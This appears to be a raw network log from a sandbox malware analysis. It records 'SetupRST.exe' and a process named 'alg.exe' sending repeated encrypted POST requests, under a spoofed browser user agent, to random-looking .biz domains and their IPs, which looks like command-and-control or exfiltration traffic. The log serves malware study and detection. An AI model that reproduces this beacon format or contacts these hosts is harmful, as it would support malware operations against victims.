Oct 28, 2024 16:38:38.872967005 CET	347	OUT	POST /xwha HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:38.873039007 CET	770	OUT	Data Raw: 07 6f d7 2f 28 2a 8e 98 f6 02 00 00 5c a6 9b 7f 1b 09 f8 b6 e4 2e aa 80 dc 09 6e 51 80 00 29 09 62 62 4d 7b d5 f1 61 29 42 62 5c b9 1b 1c 1b 4f db 9c b3 a8 ae 6c 3f 8e c4 21 82 ae 88 4f d2 ee db 43 50 ba 37 5b 71 4e cb 58 ef 38 47 a9 06 96 5e 91 Data Ascii: o/(*\.nQ)bbM{a)Bb\Ol?!OCP7[qNX8G^b3,VTm!X/z4}gP(Jc9RQ2Cs9X$"M!'DCb4V+$r0Hul$#J6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	54.244.188.177	80	2684	C:\Users\user\Desktop\SetupRST.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:39.046585083 CET	349	OUT	POST /epijprbe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 792
Oct 28, 2024 16:38:39.046627998 CET	792	OUT	Data Raw: b6 37 6d 8e 12 3f 3b aa 0c 03 00 00 b1 80 db d3 4c 75 a5 54 20 c8 c4 a8 66 3d 2b a5 c9 10 63 ad 2d f1 c5 5e f4 5e 7b 18 ac 54 0b e6 03 40 e0 03 78 2f a8 e3 e4 f6 71 ef 23 98 45 65 e9 b1 fb 27 c8 98 99 24 66 b5 3e 44 75 04 3b 2b 2e 90 00 1c b2 ae Data Ascii: 7m?;LuT f=+c-^^{T@x/q#Ee'$f>Du;+.7;I{5V:cg>6j>i3UdvglMk-plGxLzhV__tWGm3^3jN&1S8*Oswzc>o(P8l}(AS2HvL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49709	54.244.188.177	80	2684	C:\Users\user\Desktop\SetupRST.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:40.016866922 CET	352	OUT	POST /cahftjsoels HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 792
Oct 28, 2024 16:38:40.016885042 CET	792	OUT	Data Raw: 2a 56 f8 14 66 6b 9f af 0c 03 00 00 51 50 2f 3d e2 49 37 ea b1 1a b3 4c 8e 8d 80 8e a4 be 3f be ae ae d2 e6 ed 23 32 f1 0b e4 ae f4 3c fb 6e 4e de 52 ac fe 61 b6 2e 54 1a c5 e2 67 ef ce da 4b 90 15 3a 14 9e 88 3b dd 53 b6 73 4c a2 25 a4 bb 56 7e Data Ascii: VfkQP/=I7L?#2<nNRa.TgK:;SsL%V~w TrLT~9cBNh\|o@4.KSqjsw~[S-98)2}iClQR@NE*1-p8NoN9OA, c)_QC
Oct 28, 2024 16:38:40.845979929 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9a24502e50d5f7b173b8760bc31db04e\|155.94.241.188\|1730129920\|1730129920\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49710	44.221.84.105	80	2684	C:\Users\user\Desktop\SetupRST.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:41.020981073 CET	348	OUT	POST /nafq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 792
Oct 28, 2024 16:38:41.021035910 CET	792	OUT	Data Raw: 67 65 f9 05 3c 71 75 f2 0c 03 00 00 53 ce 9b df a6 38 45 ed 31 5f 4d f7 8f df 01 34 6d 37 c7 c5 82 6b 1d 04 31 fd e3 f3 b3 db 08 e9 b7 95 88 a8 dc 47 2e e2 d8 4f 07 bb 22 2d b6 1b 18 51 3d 1e 62 56 05 4f 37 75 a6 e1 63 65 c5 20 4e 64 30 d5 29 22 Data Ascii: ge<quS8E1_M4m7k1G.O"-Q=bVO7uce Nd0)"2YH+'UK55}8_c#L]+_/v:) u5$H)&C^oufN#0<cmWjR:/KztbN4VzP./efU1BQ
Oct 28, 2024 16:38:41.694946051 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7132b57953914744eb8304f66749aae4\|155.94.241.188\|1730129921\|1730129921\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49711	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:41.062151909 CET	357	OUT	POST /bjvqnbwkkxebhk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:41.062170029 CET	770	OUT	Data Raw: 6d ea c6 26 58 3f c9 60 f6 02 00 00 d8 c3 71 7f 2a 4a 92 f0 b1 11 ff bd b0 28 bc 59 25 47 c7 f6 56 35 fc 7a 44 c9 c1 42 56 f1 47 4d 00 6d 39 1e 5b f5 99 7b e0 2e c7 01 f6 69 ed 1a 37 e8 c7 0a 26 a4 51 9a 99 d3 b1 c3 0e 3f 0b b3 0d 2c 76 0f a7 e2 Data Ascii: m&X?`qJ(Y%GV5zDBVGMm9[{.i7&Q?,vYUx0]5oYO0!7aah>'wS}vlv1{A87`A;Xv;e}6/"luY[l4v.E"y9(^%71Y~MW3
Oct 28, 2024 16:38:43.511528969 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3fc99ddd88ddc76984da1f1f9611ca52\|155.94.241.188\|1730129923\|1730129923\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49712	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:43.606270075 CET	355	OUT	POST /stcojqthrenppf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:43.606288910 CET	770	OUT	Data Raw: fe ce 65 3d c9 1c af 05 f6 02 00 00 23 4f 22 4b e2 86 42 0c 43 66 c9 39 4c 24 aa 90 9e 06 7d a9 b4 53 c2 13 87 fb fe 85 50 fc 68 ed fc 15 df b4 ff 3a 02 15 52 34 d2 ab 5a d9 ca 85 a2 75 1c 2f 4c ed 14 ff a1 3f 7a b0 78 dd 66 d4 2c d6 a3 f4 97 81 Data Ascii: e=#O"KBCf9L$}SPh:R4Zu/L?zxf,"6-N$>m` {pXyZen\+z%wk&u.$8<rJ&PD)]L)_OBZ3t**zr?XYz>w;lx26M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49713	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:45.069500923 CET	349	OUT	POST /gbbbebxx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:45.069544077 CET	770	OUT	Data Raw: 07 96 66 2c 27 85 ee d8 f6 02 00 00 44 a2 d5 56 2f 7c 1f b5 82 91 62 9c a1 fa 23 5f 01 6f 15 e6 5e f3 6d 14 03 3a 1b 18 0b 4b 9e a9 5b 62 dc 97 de bc 54 aa a3 55 bb db d8 e3 ae c1 fa cb 4c 35 f8 5f 8c 6d ee 69 e4 bf 2f b3 b0 1d 46 22 4e 8b 9d 0d Data Ascii: f,'DV/\|b#_o^m:K[bTUL5_mi/F"NqG@,Y(I1W5WFwa6<rD{@=pm%=p"dX8#7Pu&h~<T=H5!zJM
Oct 28, 2024 16:38:46.165695906 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=adc3d373ab566931b8307231f6824a72\|155.94.241.188\|1730129925\|1730129925\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49714	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:46.441744089 CET	360	OUT	POST /vatrkltejhvnocyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:46.441766977 CET	770	OUT	Data Raw: 25 1b 7c 3b 48 79 4c 51 f6 02 00 00 7f 89 ac 25 f7 e1 27 a3 c8 8f cf ad 09 25 f1 69 dc b1 c5 64 e8 99 31 fb 1a 65 cb 19 2a 0c a9 1a f4 b5 f2 0c f7 7d 00 37 fd 6c a3 98 7d ec 6b 8f 09 19 eb f7 3f 5e 78 8d 97 59 6c 7d 48 b3 43 a8 4c 85 b6 70 e3 e2 Data Ascii: %\|;HyLQ%'%id1e*}7l}k?^xYl}HCLpWl-+vjsU_<sE%k(bt8xFtc@dSGz!L,0(sOtr8TR%kuW%
Oct 28, 2024 16:38:47.129409075 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c4b43d11d00f4da367313e25df8dde35\|155.94.241.188\|1730129927\|1730129927\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49715	172.234.222.138	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:47.199130058 CET	346	OUT	POST /jkg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:47.199150085 CET	770	OUT	Data Raw: ea 5a 70 2d 6c fc 55 5d f6 02 00 00 a4 94 ff 55 77 99 0b 38 94 d4 d0 be 26 fa 83 70 e2 85 81 15 82 3a cd ac 2a c4 a2 6b e7 c1 85 45 94 50 f8 6e 6f 92 ea 37 5a 90 04 ec 10 03 8a b1 9a 1d bb e1 6b ee 67 7f c3 2f 0c 9e 49 28 84 38 fe 83 ae 92 57 97 Data Ascii: Zp-lU]Uw8&p:kEPno7Zkg/I(8W+wdi%PrdB{%j/'+n:i94$G/>/hee'[QOZWfDDZC`EsDaHo~[r>-u oH@0>0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49716	172.234.222.138	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:47.893929005 CET	353	OUT	POST /qprvfvxthn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:47.893942118 CET	770	OUT	Data Raw: f9 1d fb 34 fc 76 04 19 f6 02 00 00 f9 55 36 d1 aa e5 9f e8 b6 54 6d 33 83 73 76 d3 79 31 9c fd a3 0a 2b 6c de aa 54 7c b8 cc 05 9b 96 ae 82 fa 09 c4 1e 61 7d 22 04 b0 5c aa 4c 16 38 59 cb 73 d6 63 1c e7 05 0a 0b 50 b9 4b 67 90 da 15 02 13 fb 2f Data Ascii: 4vU6Tm3svy1+lT\|a}"\L8YscPKg/ac;TSG)Z>3XtVj)w4N4zNpxUb=e9z~}.X$G.4Y1y$)V]pkgWG4W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49719	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:48.679420948 CET	346	OUT	POST /bn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:48.679442883 CET	770	OUT	Data Raw: 3b 8d 06 fb ef c9 8d fa f6 02 00 00 58 56 03 ef 6d fc 57 28 e0 1c a4 4a 72 c0 70 be 81 18 96 5f fa 41 d1 60 d2 51 3a 51 9d 01 2f c9 0e a7 8b 5e 69 c4 ef b3 aa ab 67 93 7f 14 b9 35 6c 48 e4 0b 1f d3 d1 18 32 43 0c 72 45 03 46 29 f6 17 8b ff b5 06 Data Ascii: ;XVmW(Jrp_A`Q:Q/^ig5lH2CrEF)PP>3gm>_h'N"h.E0!}[/aX{(my(n0XWi~rv#U6`z/Ys7t&"sxNq8UDNkH wU'Zqu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49720	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:49.068749905 CET	345	OUT	POST /g HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:49.068800926 CET	770	OUT	Data Raw: 80 7b 56 cf fb a4 4e cf f6 02 00 00 8b 21 44 80 ad 5f df 80 26 dc 30 ab 91 08 eb 42 1d 8c 7a 7a 45 59 19 d3 61 ab 67 98 bc 9d 88 d8 b6 79 88 c3 e4 1a e5 43 34 a2 34 20 cf aa 7d 63 cf 89 89 19 fd 14 ed 4c 29 41 fe e4 a4 35 8c 6d a8 c7 06 3d 46 ce Data Ascii: {VN!D_&0BzzEYagyC44 }cL)A5m=F/^spl'tM<]D8@9\|<tMG5di\0<XDkd}8"dYiP+r]b=}+E~/pQ%I,_8YgYNt=Xt/#2XEy:tKc
Oct 28, 2024 16:38:50.509085894 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=307ef1ac93d8e27e77db3728b10d075d\|155.94.241.188\|1730129930\|1730129930\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49722	82.112.184.197	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:50.610289097 CET	358	OUT	POST /vjelbmrjrdasivud HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:50.610371113 CET	770	OUT	Data Raw: 84 2f 8c 88 c7 23 b8 2a f6 02 00 00 05 ee 45 f1 a0 1f 9f 4f 2d f8 d7 85 90 94 10 f8 ac d3 6b 7e f5 07 48 de 7a 83 8e 70 0c 31 93 68 ee 25 88 f9 22 8e a5 f7 a6 99 8d 7b 64 08 44 6e 50 17 40 7c 43 89 7b bd 75 9f 2b 5f 9c d9 69 18 3c 15 5e f2 91 5a Data Ascii: /#EO-k~Hzp1h%"{dDnP@\|C{u+_i<^ZTi%<1E8[nI;)9_bOdr)swF%t1W6$X3unLN+dxiv<bvgzxXbdTrb3,O%Y3I7'n^hx8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49724	82.112.184.197	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:53.117002964 CET	358	OUT	POST /oskjpuhhyjjgrpor HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:53.117013931 CET	770	OUT	Data Raw: 7f b8 33 bf d1 6b 59 ce f6 02 00 00 87 ed f4 7e 31 0e 2c b6 84 74 db ca 0d 0a ec 76 4a a8 10 3f d6 fa 19 6c e0 24 51 3c cc 07 6c 87 e1 b1 f5 a7 9f 57 27 fb 04 f7 88 a8 70 0f f3 0f 00 d6 a9 9b ce d5 ad fb 50 39 d1 aa 1f 41 56 9f ad 09 09 fb 1e 12 Data Ascii: 3kY~1,tvJ?l$Q<lW'pP9AV%_Zw7sj1k2BZs 0it_-GEY(igdLNV0a$NqO{,(6d]iu8)8y&L[A0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49725	82.112.184.197	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:01.989535093 CET	351	OUT	POST /dlhkke HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:01.993676901 CET	770	OUT	Data Raw: 1f 14 05 b5 4e f7 4d 45 f6 02 00 00 80 15 0a 72 aa 9d fc 88 3c 94 42 69 fd a6 61 a5 f2 09 66 e1 f4 54 cf d8 3d c2 76 02 d0 20 41 88 a6 da 92 c0 4d e9 10 bd a6 6c dd 8f fa 51 63 73 24 36 7d 5a 80 e1 28 80 3d de c5 13 62 ae 2a 82 9d 23 cb 13 a9 f8 Data Ascii: NMEr<BiafT=v AMlQcs$6}Z(=b*#{yb(ol\|g7%=<i)Ex!?q86IqR9U(Z>Qm_/<2hrZ38].ad<vyWspa+f'Z4"p6Ot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49726	82.112.184.197	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:10.644294024 CET	361	OUT	POST /lsowwnafegrqlgyr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:10.644337893 CET	770	OUT	Data Raw: 9f ce e9 94 cf df 1c 0c f6 02 00 00 ce 3a 7d da fa 6f f2 4a 96 a4 4d f3 c7 a1 65 6a 8f f2 1c 11 41 e0 6f b8 5b 17 f1 fe 61 a2 2f 49 b3 67 a9 84 96 d3 cf 0b b2 81 8e 47 d9 24 5f a5 de 31 67 35 41 c7 76 20 0a 15 08 56 92 88 6e a1 4d 66 b9 5a dd 1a Data Ascii: :}oJMejAo[a/IgG$_1g5Av VnMfZK\2(Qj!VsOSN.~c&j+LpkzN vJcu##I9I}peR_5@T1ryigC/?a)`t&la]VedZ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49727	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:13.366455078 CET	349	OUT	POST /yllrrd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:13.366478920 CET	770	OUT	Data Raw: 16 3c 68 fd 1d 93 5f 5f f6 02 00 00 e2 bf d3 a9 03 c4 85 2a 14 37 d5 70 76 2f 2d 73 b6 e3 e5 6a 58 9a e6 30 31 42 13 ce 3b 71 ac e1 c5 ed f0 db c5 70 c0 eb 4f 96 83 0c 6c 16 d5 c5 d9 b5 dc 92 bc 7d 8e 65 6e e3 b7 17 53 94 85 7e 39 6d fe 5e 12 52 Data Ascii: <h__*7pv/-sjX01B;qpOl}enS~9m^R\|K+uzAyt!7.`aE(,tZI;={r`v}\xXMKi4w<!/QA}UpVo,-m}(%Nk8
Oct 28, 2024 16:39:14.826435089 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fe994e282a105816279b1c25a8ed2f6e\|155.94.241.188\|1730129954\|1730129954\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49728	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:15.038228989 CET	352	OUT	POST /fmbsitmsxd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:15.038247108 CET	770	OUT	Data Raw: b3 2e 5c 61 53 6c 8a 65 f6 02 00 00 43 04 64 13 8c 05 f3 62 1b 94 e0 59 e8 d3 19 fb 72 0d 64 1d c4 37 e4 6d 14 9d 27 97 7e cb 58 05 c9 bb 44 05 54 10 5f f8 c5 09 e8 53 86 44 02 b7 e9 d7 c1 6b 4f 4e 26 2a ea 8d ab 72 d6 5c 98 20 04 b6 aa a6 ae 46 Data Ascii: .\aSleCdbYrd7m'~XDT_SDkON&*r\ FHnX~Y,GP3zWHhY^2\M_C;%3r!k'@"Xwoz)+~kMda'P+%9 k.\1 f5Ojg=C,^"n7
Oct 28, 2024 16:39:16.480386019 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b85a63c15884db82bccfac741b267757\|155.94.241.188\|1730129956\|1730129956\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49729	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:17.046762943 CET	359	OUT	POST /nrkvuwfbbmudeg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:17.046793938 CET	770	OUT	Data Raw: 81 82 90 e4 5f ba b1 69 f6 02 00 00 24 5a 34 de ee cf 7c b7 02 46 ae 97 55 23 70 92 db f1 cd 51 d3 7c 99 98 19 3b 3b 2c 40 25 1f 06 d9 23 2e e6 af 06 1f 07 57 0f 0f 8f 75 bd f3 51 4d 21 75 ba 33 44 ee 09 47 14 2e 02 78 71 df 87 90 97 95 c4 9d 5c Data Ascii: _i$Z4\|FU#pQ\|;;,@%#.WuQM!u3DG.xq\/S}@E)"F~"I8WN\|UFqiV+G+#aI)S\|Ip1A{w~VQyyd}eHBJKB?H+.EFJHV
